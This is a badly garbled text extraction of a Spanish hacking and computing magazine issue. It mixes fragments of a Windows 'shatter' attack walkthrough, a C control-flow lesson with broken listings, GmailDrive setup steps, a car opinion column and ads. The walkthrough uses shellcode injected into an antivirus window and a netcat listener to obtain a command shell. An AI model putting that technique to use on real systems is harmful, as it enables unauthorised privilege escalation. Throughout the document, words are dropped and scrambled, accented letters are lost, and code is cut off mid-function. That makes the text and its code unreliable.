Wo w ! ! Y e s o ? ? ? o _ 0 ! ! Va l e ,
tranquilidad, pensemos un poquito ;-).
Como se ha explicado al introducir el
campo de padding de los modificadores
de formato, este especifica nicamente
el ancho mnimo de un campo, y esto
40
Eloi S.G.
(a.k.a. TuXeD)
En esta seccin viajaremos al pasado, abrimos la puerta del desvn, sacudiremos el polvo de
algunos bugs y exploits que por su singularidad y forma de actuar dejaron al descubierto la
fragilidad de nuestros ordenadores personales, de nuestros sistemas de proteccin y de todo
aquello en lo que confibamos.
stas son otras tres de las razones por las que nos
aventuramos a esta nueva seccin de la que vosotros
42
43
44
El archivo shatter.exe
El archivo nc.exe (netcat)
El archivo whoami.exe (del kit
de recursos para conocer quienes
somos)
El archivo sploit.bin
renombrado como sploit.txt (no
es preciso cambiarle la extensin,
pero as lo podremos abrir directamente con el bloc de notas sin
ms)
Quedar ms o menos as:(pantalla1)
45
46
1402a2 y 1b0266
Tambin podemos usar el botn de Get
Cursor window, esto es ms cmodo
puesto que nos responder exactamente
con el identificador de ventana en donde
hagamos clic, vemoslo... explicarlo
mediante palabras escritas es ms difcil
que hacerlo...
Vamos a poner las dos ventanas "al
alcance", as:(pantalla 10)
Como ves, la ventana de shatter est
por encima de la del antivirus... y
pulsamos en el botn Get Cursor
window(pantalla 11)
El identificador de ventana es el
1b0266 que es el mismo que
"suponamos" antes, elige el mtodo
que ms te guste... pero recuerda no
hacer clic por ningn sitio una vez
pinchado en el botn Get Cursor
Window o tendrs que repetirlo...
Pantalla 11. Averiguar el identificador mediante Get Cursor window (parte II)
Pantalla 12. Averiguar el identificador mediante Get Cursor window (parte III)
47
48
49
(pantalla 25)
Pulsamos enter... y.... (pantalla 26)
Aparecen dos direcciones de
memoria: 1684f8 y 168c00, tal y
como dice Paget, no tengo ni idea de
porqu aparece dos veces, si no lo sabe
l, tampoco yo... pero no importa,
cualquiera de ellas funcionar y nos
servir, cogeremos la ltima, por
ejemplo.
Tenemos que FOON comienza en la
posicin 0x00168c00 como sabemos
que hasta el comienzo de nuestra
shellcode existen 1024 bytes (las
cuatro letras de FOON y 1020 NOP).
50
Aparecer
algo
esto:(pantalla 24)
parecido
A h o ra p o n g a m o s u n n e t c a t a l a
escucha... si todo va bien la shellcode
entregar una lnea de comandos por
el puerto 123, por lo que vamos a dejar
a netcat escuchando por dicho puerto:
(pantalla 27)
51
Atencin al Cliente
Telfono de Atencin al Cliente:
977 22 45 80
Persona de Contacto:
Srta. Genoveva
FAX:
977 24 84 12
Bienvenido una vez ms a este curso, que espero que est siendo de vuestro agrado y que
os ayude a aprender, pues para eso est. Hasta ahora, con lo que sabemos, los programas
que podemos hacer son lineales y su flujo (camino desde que empiezan hasta que terminan)
es totalmente predecible. En esta entrega, vamos a ser un peln menos deterministas y a
ejercer un mayor control sobre los programas que hagamos.
Sin ms dilacin, pasemos a ver de qu va todo esto.
junto a switch, label junto a goto)
Expresin (Expresiones vlidas en C simplemente)
Imaginad que tenis que ir de un sitio a otro en una
primera entrega)
si.
Su sintaxis es la siguiente:
if (condicin) sentencia;
else sentencia;
Donde:
condicin es cualquier expresin vlida que arroje un
valor de tipo entero, carcter o de coma flotante (este
53
(imagen 1).
Imagen 2
rdenes/ins-trucciones (sentencia
caso (else).
programa.
siguiente pinta:
podemos
de
l a b e r i n t o. Pe r o e s t o h a r q u e l a
modo:
un mnimo de 15 niveles.
establecer
niveles
if (condicin 1)
{
if (condicin 2) sentencia 1;
else sentencia 2;
{
....
}
}
else sentencia 3;
de comparacin.
sintaxis es:
if (condicin 1) sentencia 1;
else
if (condicin 2) expresin 2;
else
.
.
.
54
Imagen 1
tenemos
cdigo:(listado 1)
un
ejemplo
de
// Importacin de libreras
#include <stdio.h>
#include <stdlib.h>
// Declaracin de funciones
int cuadrado_numero(int);
int main()
{
// Variables
char nivel_dificultad;
int numero_misterioso = 0;
int intento = 0;
else
}
Listado 1
de switch. Su uso/sintaxis es el
siguiente:
de punteros.
55
switch (expresin) {
case constante1:
secuencia de sentencias;
break;
case constante2:
secuencia de sentencias;
break;
case constante3:
secuencia de sentencias;
break;
.
.
.
default:
secuencia de sentencias;
}
Vo l v e r e m o s
sobre
este
tipo
1 . S l o p u e d e n u s a r s e p a ra
adems
en el epgrafe.
relacionales y lgicas.
con
expresiones
d i s t i n t o s e l m i s m o va l o r d e
qu se diferencian:
ASCII.
Nota
:P.
4. No es posible declarar variables
iterando.
mencionado anteriormente.
56
int main()
{
ejecutar.
// Variables necesarias
int numero_aleatorio = 0;
int acierto = 0;
int acertado = 0;
// Variable para saber si hemos acertado
char opcion;
// Generamos el nmero aleatorio
numero_aleatorio = genera_aleatorio();
// Presentamos el men y leemos la entrada por teclado del usuario
menu();
opcion = getchar();
// Bucle del programa do ... while
while (acertado == 0 & (opcion != 's' & opcion != 'S'))
{
pedir_numero();
acierto = comprobar_numero(intento,numero_aleatorio);
// Dependiendo de acierto se muestra un mensaje u otro
switch (acierto)
{
case 0:
printf("Enhorabuena, has acertado\n");
acertado = 1;
break;
case 1:
printf("El nmero buscado es menor que el introducido.\n");
case -1:
printf("El nmero buscado es mayor que el introducido.\n");
57
int pedir_numero()
{
printf("Introduzca un nmero por teclado (entre 0 y 100): ");
scanf("%i",&intento);
printf("\n");
}
int comprobar_numero(int numero1, int numero2)
{
// Devuelve cero si los dos nmeros son iguales
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1
incializacin;
while (condicin)
{ secuencia de sentencias;
incremento; }
if (numero1 == numero2)
return 0;
else
if (numero1 > numero2)
return 1;
else
return -1;
que diez:
/* Programa que ilustra el uso del bucle for
*/
#include <stdio.h>
int main()
{
int i;
int j;
Listado 2 continuacin
efectuados.
lenguajes de programacin, si no
return 0;
58
satisfactoria.
Vamos a seguir adornando a nuestro
bucle for. Ya que si no, alguno me dir
que me invento halagos para este bucle
:P. La verdadera potencia de este bucle
void menu(void);
int pedir_numero(void);
int genera_aleatorio(void);
int comprobar_numero(int,int);
int intento = 0;
int main()
{
int numero_aleatorio = 0;
int acierto = 10;
int acertado = 0;
char opcion;
numero_aleatorio = genera_aleatorio();
for (menu(),opcion = getchar(); acierto == 0 | opcion != 's'; pedir_numero())
{
acierto = comprobar_numero(intento,numero_aleatorio);
}
return 0;
modificaciones
que
creis
s,
en
nuestro
foro:
http://www.hackxcrack.com/phpBB2/i
soluciones,
expresar
int genera_aleatorio()
{
srand(time(NULL));
return rand() % 101;
}
todos ;-).
El programa como veis inicializa pidiendo
int pedir_numero()
{
printf("Introduzca un nmero por teclado (entre 0 y 100): ");
scanf("%i",&intento);
printf("\n");
}
int comprobar_numero(int numero1, int numero2)
{
// Devuelve cero si los dos nmeros son iguales
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1
if (numero1 == numero2)
return 0;
else
if (numero1 > numero2)
return 1;
else
return -1;
Listado 3
seguir
probando
suerte
salir
de antemano.
mejoris ;-).
59
la forma:
goto etiqueta;
.
.
etiqueta:
{secuencia_de_sentencias}
mismo.
Y como todo en esta vida (o casi todo)
tiene su contrario, break tiene un
antagnico (aunque no es un antagnico
puro, ya que no hace solamente lo
contrario): continue, que hace que no
se ejecute lo que sigue a partir de l
hasta el final del bucle, pero no salta
fuera de l. Lo que hace es volver a
ejecutar las partes de las pruebas
condicionales y de incremento de bucle
en bucles for y en while y dowhile a la
prueba condicional.
Es til combinado con alguna expresin
condicional dentro del bucle para
discernir si ejecutamos hasta el final
del bucle o reiniciamos el bucle.
60
Con este artculo inauguramos un nuevo apartado en la revista. Bienvenidos a la nueva seccin
de Pc Paso a Paso: La Cafetera. Aqu encontraris todo tipo de artculos, desde FAQs(Frequently
Asked Questions) o manuales, hasta entrevistas con 'celebridades' de la informtica, pasando
por artculos de opinin, noticias relevantes e incluso una tira cmica, que los informticos
tambin tenemos sentido del humor :D
Llamadlo un rea de Off Topics, Artculos varios o Temtica General, pero el fin es el mismo:
entreteneros, informaros y haceros la lectura de esta revista ms divertida(an), ya que no
solo de cursos vive el hombre :). Esperamos poder cumplir con nuestro deseo.... Poneos
Cmodos, estis en la Cafetera!
61
807577/1/
http://www.techspot.com/download29
7.html
Una vez haya terminado la descarga, lo
abrimos(doble click) y lo extraemos(acciones-->Extraer) a C:\Gmail.
Ahora nos vamos a la carpeta e iniciamos
el setup.exe
Nos saldr el Readme, que ,si no sabes
ingles, te servir de poco. Cirralo para
proceder con la instalacin. Ahora solo
tienes que ir a "Mi Pc" y veras que tienes
un nuevo disco duro llamado "Gmail
Drive". Haz doble click en l y te pedir
tu nombre de usuario y contrasea. Los
pones y si quieres que cada vez que se
inicie el ordenador se conecte a Gmail,
dale a "autologin", aunque no lo
recomiendo.
Bien, ya tienes tu nuevo disco duro
virtual, puedes almacenar ah lo que
quieras, y luego lo puedes sacar en
cualquier ordenador que tenga tambin
instalado GmailDrive.
Ten en cuenta que este es un programa
que depende de Gmail, por lo que cada
vez que actualicen su sistema ya no
funcionar(se actualizara no muy a
menudo), as que si ves que no te
funciona, psate otra vez por la web y
bjate una versin actualizada al nuevo
sistema, y repite los pasos.
Web de GmailDrive: http://www.
viksoe.dk/code/Gmail.htm
-Linux
Para hacer esto independiente de la
distribucin que uses, voy a explicar
como hacerlo desde las fuentes de todos
l o s p r o g ra m a s q u e n e c e s i t e m o s .
Primero debemos bajarnos:
-Python(si es que no lo tenemos ya) de
http://www.python.org/ftp/python/2.
4.1/Python-2.4.1.tgz
-Fuse de http://sourceforge.net
/project/showfiles.php?group_id=121
684&package_id=132802
-Python-Fuse Bindings de http://richard.
jones.name/Google-hacks/Gmailfilesystem/fuse-python.tar.gz
62
#
#
#
#
#
63
http://www.cnn.com/ pondremos
link:http://www.cnn.com/
64
Todas las maanas, para matar el tiempo que consume el largo camino a la facultad, me
entretengo ojeando la prensa gratuita (aqu en Madrid es habitual acumular hasta tres y cuatro
peridicos al entrar al metro). Una maana de hace unas cuantas semanas le una noticia que,
de no estar totalmente seguro que no era 28 de Diciembre, me habra parecido una inocentada:
una conocida marca de automviles ha diseado el primer coche slo para mujeres que
a d e m s h a s i d o d i s e a d o p o r u n e q u i p o f o r m a d o n t e g ra m e n t e p o r m u j e r e s .
Podis hacer una visita a nuestro bien amado google y
buscar el trmino Volvo YCC (no haba manera de no
mencionar la marca... publicidad gratis xD) para saber
cul es la idea que esas mujeres han tenido de lo que ha
de ser un coche para mujeres. Seguramente, si eres
mujer, desearas ver las cabezas de estas diseadoras
(http://imgserv.ya.com/images/9/8/982e8235131ca7bi
3.jpg) en una pica... no te culpo, si yo fuera mujer deseara
lo mismo.
Ahora (y antes de iniciar otra guerra de sexos), vamos a
imaginar que alguien compra ese coche. Para dejar de
martirizar a las fminas (que bastante tienen con ver su
gnero como apellido de ese pseudocoche), imaginemos
que yo mismo me lo compro. S que imaginar que tengo
el dinero para comprar un coche -ms an de esa marcaes un gran esfuerzo, pero confo en que tengis la
suficiente imaginacin. ;-)
Bien, pongamos que me he comprado mi nuevo y flamante
YCC y decido salir a dar una vuelta a probarlo. Todo va
de maravilla hasta que, de buenas a primeras el coche se
para y me deja tirado. Qu ha pasado? Bien, no perdamos
la calma, vamos a abrir el cap a ver si veo algo a simple
vista... Qu!? Este coche no tiene cap! (Nota: no, no
es broma, ese coche NO tiene cap). Yo no soy un hacha
de la mecnica, pero algo s, y en cualquier caso tengo
amigos que s son bastante buenos con la mecnica...
65
66
67
610 52 91 71
INFRMATE
sin compromiso!
precios desde
99 euros
para ms informacin:
http://www.pcpasoapaso.com/publicidad.html